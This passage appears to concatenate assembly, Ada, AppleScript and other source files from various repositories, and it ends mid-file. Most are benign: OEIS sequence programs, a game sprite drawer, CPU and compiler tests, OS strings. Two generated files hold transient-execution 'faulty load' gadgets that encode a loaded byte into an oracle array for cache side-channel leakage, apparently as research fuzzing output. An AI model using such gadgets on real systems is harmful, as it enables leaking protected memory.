Writeln print buffer lbsr PutAddress leax 1,x skip a space puls y GoOn cmpu #UpLimit have we reached the end? bne MainLoop if not, go on rts PutAddress equ * U=address, X->4-byte output buffer pshs d tfr u,d bsr ToHex tfr b,a bsr ToHex puls d,pc ToHex equ * A=byte, X->2-byte output buffer pshs d save D and flags tfr a,b save A in B lsra down 4 bits lsra lsra lsra bsr ToLetter convert to hex letter in A sta ,x+ put it in buffer tfr b,a get back original value anda #$0F mask off MSN bsr ToLetter --- do the above for second nibble --- sta ,x+ puls d,pc restore D and return ToLetter equ * A=[IN] value (LSN) [OUT] hex digit cmpa #$0A if less than 10, it's a number blo ToNumber suba #$0A adda #'A' rts ToNumber adda #'0' rts ********** SYSTEM SUBROUTINES ********** Beep equ * Ring the bell bra Beeper Bell fcb 7 Beeper pshs x,y leax Bell,pcr ldy #1 bsr Write puls x,y,pc Writeln equ * Display a string followed by newline pshs d lda #OS9_StdOut swi2 fcb I_Writln puls d,pc Write equ * Display a string pshs d lda #OS9_StdOut swi2 fcb I_Write puls d,pc Readln equ * Read a string followed by newline pshs d lda #OS9_StdIn swi2 fcb I_Readln puls d,pc Read equ * Read a string pshs d lda #OS9_StdIn swi2 fcb I_Read puls d,pc end Begin
Applications/Finder/make/make new file/make new file with properties/test.applescript
looking-for-a-job/applescript-examples
1
363
#!/usr/bin/osascript tell application "Finder" make new file at desktop with properties {name:"pic.jpg", creator type:"8BIM", comment:"Hi!"} end tell
oeis/015/A015581.asm
neoneye/loda-programs
11
104585
; A015581: a(n) = 9*a(n-1) + 5*a(n-2). ; Submitted by <NAME>(s1) ; 0,1,9,86,819,7801,74304,707741,6741189,64209406,611590599,5825362421,55486214784,528502745161,5033955780369,47948115749126,456702820643979,4350065964541441,41434107784092864,394657299879542981,3759086237836351149,35805062639924875246,341040994948505632959,3248394267736175072861,30940753384368103820544,294708751797993809749201,2807082533103784806845529,26737286556924032310355766,254670991677835214827429539,2425725357885137094998644681,23104883179355409929124949824,220072575403624374837117771821 mov $3,1 lpb $0 sub $0,1 mul $1,5 add $2,$3 mov $3,$1 mov $1,$2 mul $2,9 lpe mov $0,$1
enemy.asm
mariahassan54/Super-Mario-Game-in-Assembly-Language
0
102401
.model medium, stdcall .stack 120h .data enemySkin DB 6d Eclothes1 byte 00d Eclothes2 byte 15d .code drawEnemy proc x:word, y:word push AX push BX push CX push DX push SI push DI mov AX, @data mov DS, AX mov CX, x mov DX, y push CX mov ah, 0ch mov al, Eclothes1 inc CX inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h add CX,2 ;2 space int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h pop CX push CX dec DX inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h add CX,2 ;2 spaces int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h pop CX push CX dec DX inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Eclothes2 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Eclothes1 int 10h inc CX int 10h inc CX int 10h inc CX int 10h ;inc CX ;int 10h pop CX push CX dec DX inc CX inc CX int 10h inc CX int 10h inc CX mov al,Eclothes2 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX ; int 10h ;inc CX mov al,Eclothes1 int 10h inc CX int 10h pop CX push CX dec DX add CX,4 mov al,Eclothes2 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h pop CX push CX dec DX inc CX mov al,enemySkin int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Eclothes2 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,enemySkin int 10h inc CX int 10h inc CX int 10h inc CX int 10h pop CX push CX dec DX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h pop CX push CX dec DX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Eclothes2 int 10h inc CX int 10h inc CX int 10h inc CX mov al,enemySkin int 10h inc CX int 10h inc Cx mov al,Eclothes2 int 10h inc CX int 10h inc CX int 10h inc CX mov al,enemySkin int 10h inc CX int 10h inc CX int 10h inc CX int 10h pop CX push CX dec DX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Eclothes2 int 10h inc CX mov al,Eclothes1 int 10h inc CX mov al,Eclothes2 int 10h inc CX mov al,enemySkin int 10h inc CX int 10h inc CX mov al,Eclothes2 int 10h inc CX mov al,Eclothes1 int 10h inc CX mov al,Eclothes2 int 10h inc CX mov al,enemySkin int 10h inc CX int 10h inc CX int 10h inc CX int 10h pop CX push CX dec DX inc CX mov al,enemySkin int 10h inc CX int 10h inc CX int 10h inc CX mov al,Eclothes2 int 10h inc CX mov al,Eclothes1 int 10h inc CX mov al,enemySkin int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Eclothes1 int 10h inc CX mov al,Eclothes2 int 10h inc CX mov al,enemySkin int 10h inc CX int 10h inc CX int 10h pop CX push CX dec DX inc CX mov al,enemySkin int 10h inc CX int 10h inc CX int 10h inc CX mov al,Eclothes2 int 10h inc CX mov al,Eclothes1 int 10h inc CX mov al,enemySkin int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Eclothes1 int 10h inc CX mov al,Eclothes2 int 10h inc CX mov al,enemySkin int 10h inc CX int 10h inc CX int 10h pop CX push CX dec DX add CX,2 mov al,enemySkin int 10h inc CX mov al,Eclothes1 int 10h inc CX int 10h inc CX mov al,enemySkin int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX mov al,Eclothes1 int 10h inc CX int 10h inc CX mov al,enemySkin int 10h pop CX push CX dec DX add CX,3 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h pop CX push CX dec DX add CX,4 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h pop CX push CX dec DX add CX,5 int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h inc CX int 10h pop CX push CX dec DX add CX,6 int 10h inc CX int 10h inc CX int 10h inc CX int 10h pop CX pop DI pop SI pop DX pop CX pop BX pop AX ret drawEnemy endp end
tests/assembly/LDY.asm
danecreekphotography/6502ts
0
244657
<reponame>danecreekphotography/6502ts<filename>tests/assembly/LDY.asm ; Verifies LDY with all applicable addressing modes .segment "VECTORS" .word $eaea .word init .word $eaea .segment "ZEROPAGE" ; Used for zero page address mode testing zp: .byte $00 ; Padding so remaining bytes can be accessed in zeropage plus tests .byte $42 ; Positive .byte $00 ; Zero .byte %10010101 ; Negative ; Used for indirect x address mode testing indirectX: .byte $00 ; Padding so addresses can be accessed in plus x tests. .word data + $01 ; Start of actual test data .word data + $02 ; Zero .word data + $03 ; Negative ; Used for indirect y address mode testing indirectY: .word data ; Address of the actual test data start location .word data + $FF ; Used for the page boundary test .data data: .byte $00 ; Padding so remaining bytes can be accessed in absolute plus tests .byte $42 ; Positive .byte $00 ; Zero .byte %10010101 ; Negative ; Implicit here is that memory location data + $FF + $02 will be pre-filled with zeros. ; That location gets used to confirm the cycle count it takes to do an indirect Y ; across a page boundary. .code init: ; Immediate. ldy #$42 ; Positive ldy #$00 ; Zero ldy #%10010101 ; Negative ; Zeropage. Starts with +1 to skip padding. ldy zp + $01 ; Positive ldy zp + $02 ; Zero ldy zp + $03 ; Negative ; Zeropage plus X. X will be $01 ldy zp,x ; Positive ldy zp + $01,x ; Zero ldy zp + $02,x ; Negative ; Absolute. Starts with +1 to skip padding. ldy data + $01 ; Positive ldy data + $02 ; Zero ldy data + $03 ; Negative ; Absolute plus X. X will be $01. ldy data,x ; Positive ldy data + $01,x ; Zero ldy data + $02,x ; Negative ldy data - $01,x ; Positive across page boundary, y will be $02. ldy data - $01,x ; Zero across page boundary, y will be $03.
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c4/c45271a.ada
best08618/asylo
7
12740
<filename>gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c4/c45271a.ada -- C45271A.ADA -- Grant of Unlimited Rights -- -- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687, -- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained -- unlimited rights in the software and documentation contained herein. -- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making -- this public release, the Government intends to confer upon all -- recipients unlimited rights equal to those held by the Government. -- These rights include rights to use, duplicate, release or disclose the -- released technical data and computer software in whole or in part, in -- any manner and for any purpose whatsoever, and to have or permit others -- to do so. -- -- DISCLAIMER -- -- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR -- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED -- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE -- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE -- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A -- PARTICULAR PURPOSE OF SAID MATERIAL. --* -- CHECK THAT EQUALITY AND INEQUALITY ARE EVALUATED CORRECTLY FOR -- RECORDS WHOSE COMPONENTS DO NOT HAVE CHANGEABLE DISCRIMINANTS. -- TBN 8/6/86 WITH REPORT; USE REPORT; PROCEDURE C45271A IS SUBTYPE INT IS INTEGER RANGE 1 .. 20; TYPE ARRAY_BOOL IS ARRAY (1 .. 5) OF BOOLEAN; TYPE REC_TYPE1 IS RECORD BOOL : ARRAY_BOOL; A : INTEGER; END RECORD; TYPE REC_TYPE2 (LEN : INT := 3) IS RECORD A : STRING (1 .. LEN); END RECORD; TYPE REC_TYPE3 (NUM : INT := 1) IS RECORD A : REC_TYPE1; END RECORD; REC1, REC2 : REC_TYPE1 := (A => 2, OTHERS => (OTHERS => TRUE)); REC3, REC4 : REC_TYPE2 (5) := (5, "WHERE"); REC5, REC6 : REC_TYPE2; REC7, REC8 : REC_TYPE3; REC9, REC10 : REC_TYPE3 (3) := (NUM => 3, A => (A => 5, BOOL => (OTHERS => FALSE))); BEGIN TEST ("C45271A", "CHECK THAT EQUALITY AND INEQUALITY ARE " & "EVALUATED CORRECTLY FOR RECORDS WHOSE " & "COMPONENTS DO NOT HAVE CHANGEABLE " & "DISCRIMINANTS"); IF "/=" (LEFT => REC1, RIGHT => REC2) THEN FAILED ("INCORRECT RESULTS FOR RECORDS - 1"); END IF; REC1.A := IDENT_INT(1); IF "=" (LEFT => REC2, RIGHT => REC1) THEN FAILED ("INCORRECT RESULTS FOR RECORDS - 2"); END IF; IF REC3 /= REC4 THEN FAILED ("INCORRECT RESULTS FOR RECORDS - 3"); END IF; REC4.A := IDENT_STR("12345"); IF REC3 = REC4 THEN FAILED ("INCORRECT RESULTS FOR RECORDS - 4"); END IF; REC5.A := IDENT_STR("WHO"); REC6.A := IDENT_STR("WHY"); IF REC5 = REC6 THEN FAILED ("INCORRECT RESULTS FOR RECORDS - 5"); END IF; REC5.A := "WHY"; IF REC6 /= REC5 THEN FAILED ("INCORRECT RESULTS FOR RECORDS - 6"); END IF; REC7.A.A := IDENT_INT(1); REC7.A.BOOL := (OTHERS => IDENT_BOOL(TRUE)); REC8.A.A := 1; REC8.A.BOOL := (OTHERS => TRUE); IF REC7 /= REC8 THEN FAILED ("INCORRECT RESULTS FOR RECORDS - 7"); END IF; REC8.A.BOOL := (OTHERS => IDENT_BOOL(FALSE)); IF REC8 = REC7 THEN FAILED ("INCORRECT RESULTS FOR RECORDS - 8"); END IF; IF "/=" (LEFT => REC9, RIGHT => REC10) THEN FAILED ("INCORRECT RESULTS FOR RECORDS - 9"); END IF; REC9.A.A := IDENT_INT(1); IF "=" (LEFT => REC9, RIGHT => REC10) THEN FAILED ("INCORRECT RESULTS FOR RECORDS - 10"); END IF; RESULT; END C45271A;
libsrc/_DEVELOPMENT/arch/ts2068/misc/c/sccz80/tshr_cls.asm
jpoikela/z88dk
38
17822
<reponame>jpoikela/z88dk<gh_stars>10-100 ; void tshr_cls(uchar ink) SECTION code_clib SECTION code_arch PUBLIC tshr_cls EXTERN asm_tshr_cls defc tshr_cls = asm_tshr_cls
alloy4fun_models/trashltl/models/6/eyGu5DYCrnk58G2fJ.als
Kaixi26/org.alloytools.alloy
0
455
open main pred ideyGu5DYCrnk58G2fJ_prop7 { always some Protected } pred __repair { ideyGu5DYCrnk58G2fJ_prop7 } check __repair { ideyGu5DYCrnk58G2fJ_prop7 <=> prop7o }
libsrc/_DEVELOPMENT/stdlib/c/sdcc_ix/qsort_callee.asm
meesokim/z88dk
0
90480
; void qsort_callee(void *base, size_t nmemb, size_t size, int (*compar)(const void *, const void *)) SECTION code_stdlib PUBLIC _qsort_callee, l0_qsort_callee EXTERN asm_qsort _qsort_callee: pop af pop bc pop hl pop de exx pop bc push af l0_qsort_callee: push bc exx ex (sp),ix call asm_qsort pop ix ret
source/asis/asis-gela-overloads-attr.adb
faelys/gela-asis
4
10890
------------------------------------------------------------------------------ -- G E L A A S I S -- -- ASIS implementation for Gela project, a portable Ada compiler -- -- http://gela.ada-ru.org -- -- - - - - - - - - - - - - - - - -- -- Read copyright and license at the end of this file -- ------------------------------------------------------------------------------ -- $Revision: 209 $ $Date: 2013-11-30 21:03:24 +0200 (Сб., 30 нояб. 2013) $: with XASIS.Types; with XASIS.Utils; with Asis.Gela.Classes; package body Asis.Gela.Overloads.Attr is ----------------- -- Get_Profile -- ----------------- function Get_Profile (Tipe : Asis.Declaration; Kind : Asis.Attribute_Kinds) return Asis.Element_List renames XASIS.Utils.Get_Attribute_Profile; ------------------------ -- Get_Result_Profile -- ------------------------ function Get_Result_Profile (Tipe : Asis.Declaration; Kind : Asis.Attribute_Kinds; Class_Wide : Boolean; Place : Asis.Element) return Types.Up_Interpretation is begin case Kind is when A_Val_Attribute | A_Value_Attribute | An_Adjacent_Attribute | A_Ceiling_Attribute | A_Compose_Attribute | A_Copy_Sign_Attribute | A_Floor_Attribute | A_Fraction_Attribute | A_Leading_Part_Attribute | A_Machine_Attribute | A_Machine_Rounding_Attribute | A_Max_Attribute | A_Min_Attribute | A_Mod_Attribute | A_Model_Attribute | A_Pred_Attribute | A_Remainder_Attribute | A_Round_Attribute | A_Rounding_Attribute | A_Scaling_Attribute | A_Succ_Attribute | A_Truncation_Attribute | An_Unbiased_Rounding_Attribute | A_Wide_Value_Attribute | A_Wide_Wide_Value_Attribute => return Types.Up_Expression (Tipe, Place); when An_Exponent_Attribute | A_Pos_Attribute => return Types.Up_Expression (XASIS.Types.Universal_Integer, Place); when An_Image_Attribute => return Types.Up_Expression (XASIS.Types.String, Place); when A_Wide_Image_Attribute => return Types.Up_Expression (XASIS.Types.Wide_String, Place); when A_Wide_Wide_Image_Attribute => return Types.Up_Expression (XASIS.Types.Wide_Wide_String, Place); when An_Input_Attribute => declare use Asis.Gela.Classes; Result : Type_Info := Type_From_Declaration (Tipe, Place); begin if Class_Wide then Set_Class_Wide (Result); end if; return Types.Up_Expression (Result); end; when A_Read_Attribute | A_Write_Attribute | An_Output_Attribute => return (Kind => Types.A_Procedure_Call); when others => raise Internal_Error; end case; end Get_Result_Profile; end Asis.Gela.Overloads.Attr; ------------------------------------------------------------------------------ -- Copyright (c) 2006-2013, <NAME> -- All rights reserved. -- -- Redistribution and use in source and binary forms, with or without -- modification, are permitted provided that the following conditions are met: -- -- * Redistributions of source code must retain the above copyright notice, -- this list of conditions and the following disclaimer. -- * Redistributions in binary form must reproduce the above copyright -- notice, this list of conditions and the following disclaimer in the -- documentation and/or other materials provided with the distribution. -- * Neither the name of the <NAME>, IE nor the names of its -- contributors may be used to endorse or promote products derived from -- this software without specific prior written permission. -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -- AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -- IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE -- ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE -- LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -- CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF -- SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -- INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN -- CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) -- ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -- POSSIBILITY OF SUCH DAMAGE. ------------------------------------------------------------------------------
programs/oeis/162/A162609.asm
neoneye/loda
22
15798
<filename>programs/oeis/162/A162609.asm ; A162609: Triangle read by rows in which row n lists n terms, starting with 1, with gaps = n-2 between successive terms. ; 1,1,1,1,2,3,1,3,5,7,1,4,7,10,13,1,5,9,13,17,21,1,6,11,16,21,26,31,1,7,13,19,25,31,37,43,1,8,15,22,29,36,43,50,57,1,9,17,25,33,41,49,57,65,73,1,10,19,28,37,46,55,64,73,82,91,1,11,21,31,41,51,61,71,81 lpb $0 sub $0,1 mov $1,$0 mul $1,$2 add $2,1 trn $0,$2 lpe add $1,1 mov $0,$1
oeis/106/A106143.asm
neoneye/loda-programs
11
90580
; A106143: Semiprimes (mod 7). ; Submitted by <NAME> ; 4,6,2,3,0,1,0,1,4,5,5,6,0,3,4,4,0,2,6,1,2,6,2,6,4,0,5,1,2,3,0,2,3,4,1,6,3,6,0,2,3,4,3,0,1,1,2,3,5,6,1,4,5,0,5,1,2,3,1,3,5,5,5,6,0,2,3,6,3,4,5,0,1,2,4,2,4,6,2,4,1,2,0,3,6,1,1,5,0,2,4,1,4,5,0,1,2,4,1,6 seq $0,1358 ; Semiprimes (or biprimes): products of two primes. mod $0,7
Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0x84_notsx.log_1552_1109.asm
ljhsiun2/medusa
9
246385
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r13 push %r8 push %r9 push %rax push %rbx // Store lea addresses_PSE+0x1f531, %rax sub $6609, %r13 mov $0x5152535455565758, %rbx movq %rbx, (%rax) nop nop xor $27463, %r10 // Load mov $0x4e86aa0000000f21, %r9 nop nop nop nop sub %r8, %r8 movb (%r9), %r11b nop nop nop nop nop dec %rbx // Faulty Load lea addresses_D+0x86a1, %r11 nop cmp $33041, %r13 mov (%r11), %ax lea oracles, %r13 and $0xff, %rax shlq $12, %rax mov (%r13,%rax,1), %rax pop %rbx pop %rax pop %r9 pop %r8 pop %r13 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_D', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_PSE', 'same': False, 'size': 8, 'congruent': 4, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_NC', 'same': False, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_D', 'same': True, 'size': 2, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'36': 1552} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
kernel/vars/strings.asm
gniuk/BOS
0
19334
<gh_stars>0 ;----------------------------------------------------------; ; BOS 0.05 <NAME>, 2004-2015. ; ;----------------------------------------------------------; ; ; ; English strings used in BOS. ; ; ; ;----------------------------------------------------------; ;---------------; ; strings ; ;---------------; pmode_load db 'Setting up protected mode...', 0 pmode_load_ok db '[ 32-bits OK ]', 0 kernel_load db 'Loading kernel...', 0 kernel_load_ok db '[ OK ]', 0 pic_irq db 'Fixing PIC and IRQs...', 0 pic_irq_ok db '[ Done ]', 0 idt_mess db 'Setting up IDT...', 0 idt_ok db '[ IDT OK ]', 0 kbd_load db 'Enables IRQ1...', 0 kbd_ok db '[ Keyboard OK ]', 0 bos_shell db 'BOS shell. Type "help" for more info.', 13, 10, 0
programs/oeis/118/A118518.asm
neoneye/loda
22
93126
<filename>programs/oeis/118/A118518.asm ; A118518: Define sequence S_m by: initial term = m, reverse digits and add 3 to get next term. Entry shows S_2. This reaches a cycle of length 6 in 3 steps. ; 2,5,8,11,14,44,47,77,80,11,14,44,47,77,80,11,14,44,47,77,80,11,14,44,47,77,80,11,14,44,47,77,80,11,14,44,47,77,80,11,14,44,47,77,80,11,14,44,47,77,80,11,14,44,47,77,80,11,14,44,47,77,80,11,14,44,47,77,80 mov $2,$0 mov $0,2 lpb $2 seq $0,4086 ; Read n backwards (referred to as R(n) in many sequences). add $0,3 sub $2,1 lpe
scripts/spotify.scpt
sh0w98/dotfiles
33
4060
<filename>scripts/spotify.scpt<gh_stars>10-100 # https://github.com/simonsmith/dotfiles if application "Spotify" is running then tell application "Spotify" set theName to name of the current track set theArtist to artist of the current track set theAlbum to album of the current track set theUrl to spotify url of the current track set playerState to player state if playerState is playing then set playIcon to "Playing:" end if if playerState is paused then set playIcon to "Paused:" end if try return playIcon & " " & theName & " by " & theArtist on error err end try end tell end if
Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2_notsx.log_2023_177.asm
ljhsiun2/medusa
9
6166
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r14 push %r15 push %r9 push %rcx push %rdi push %rsi lea addresses_D_ht+0x156c1, %rsi lea addresses_UC_ht+0x16fc1, %rdi nop and $4948, %r9 mov $84, %rcx rep movsb nop nop nop nop nop and %r12, %r12 lea addresses_UC_ht+0x138c1, %rsi lea addresses_D_ht+0x12dc1, %rdi inc %r12 mov $100, %rcx rep movsq nop nop nop nop mfence lea addresses_WT_ht+0x1cbc1, %r13 nop xor $21758, %r12 and $0xffffffffffffffc0, %r13 movntdqa (%r13), %xmm1 vpextrq $1, %xmm1, %rsi nop nop add %r13, %r13 lea addresses_UC_ht+0x1dbc1, %rsi lea addresses_WT_ht+0x17141, %rdi clflush (%rdi) nop nop nop nop add %r9, %r9 mov $9, %rcx rep movsw nop add %r12, %r12 lea addresses_WT_ht+0x141, %rsi clflush (%rsi) nop nop nop nop nop add %r14, %r14 and $0xffffffffffffffc0, %rsi vmovaps (%rsi), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $1, %xmm3, %r12 nop nop nop add %r13, %r13 lea addresses_WC_ht+0x14d61, %r12 nop nop nop nop nop and %r9, %r9 mov $0x6162636465666768, %rdi movq %rdi, %xmm4 movups %xmm4, (%r12) nop nop nop nop nop cmp %r13, %r13 lea addresses_WT_ht+0x126c1, %rsi lea addresses_WC_ht+0x14065, %rdi clflush (%rdi) nop nop nop nop sub $13661, %r12 mov $16, %rcx rep movsw nop nop sub $41063, %rcx lea addresses_WC_ht+0xee81, %rsi lea addresses_WT_ht+0x2b61, %rdi nop nop nop sub %r15, %r15 mov $56, %rcx rep movsb nop nop and %r9, %r9 lea addresses_normal_ht+0x83c1, %r13 and %r14, %r14 movb (%r13), %cl nop xor %r13, %r13 pop %rsi pop %rdi pop %rcx pop %r9 pop %r15 pop %r14 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r8 push %r9 push %rbx push %rdi push %rdx push %rsi // Faulty Load mov $0x668ef10000000bc1, %rsi nop dec %rbx movb (%rsi), %r8b lea oracles, %r9 and $0xff, %r8 shlq $12, %r8 mov (%r9,%r8,1), %r8 pop %rsi pop %rdx pop %rdi pop %rbx pop %r9 pop %r8 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 10, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 7, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 